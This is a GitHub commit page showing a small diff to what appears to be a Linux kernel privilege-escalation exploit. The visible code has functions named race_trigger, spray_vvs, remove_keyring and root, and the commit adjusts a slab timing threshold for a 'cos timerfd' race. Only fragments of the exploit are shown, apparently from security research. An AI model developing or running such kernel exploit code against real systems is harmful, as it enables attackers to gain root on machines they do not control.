Skip to content

Commit

Permalink
fix: change cos timerfd timing
Browse files Browse the repository at this point in the history
  • Loading branch information
qwerty-theori committed Dec 16, 2024
1 parent 427c578 commit 68994ab
Showing 1 changed file with 2 additions and 2 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -592,7 +592,7 @@ int race_trigger(void *arg)

int inuse = -1, currv = 0;
for(int i=OBJS_PER_SLAB-1; i>=0; i--)
if(times[i] > 5500)
if(times[i] > 6000)
{
inuse = OBJS_PER_SLAB - i;
break;
Expand All @@ -605,7 +605,6 @@ int race_trigger(void *arg)
spray_vvs(&remainfd[i], 1);

remove_keyring(keyv);
// spray_vvs(&remainfd[OBJS_PER_SLAB-1], 1);

write(communicate_pipe[1], "123", 3);
struct itimerspec it = {};
Expand Down Expand Up @@ -774,6 +773,7 @@ void root(char *buf)

int main(int argc, void *argv[])
{

alarm(120);
if (argc > 1)
{
Expand Down

0 comments on commit 68994ab

Please sign in to comment.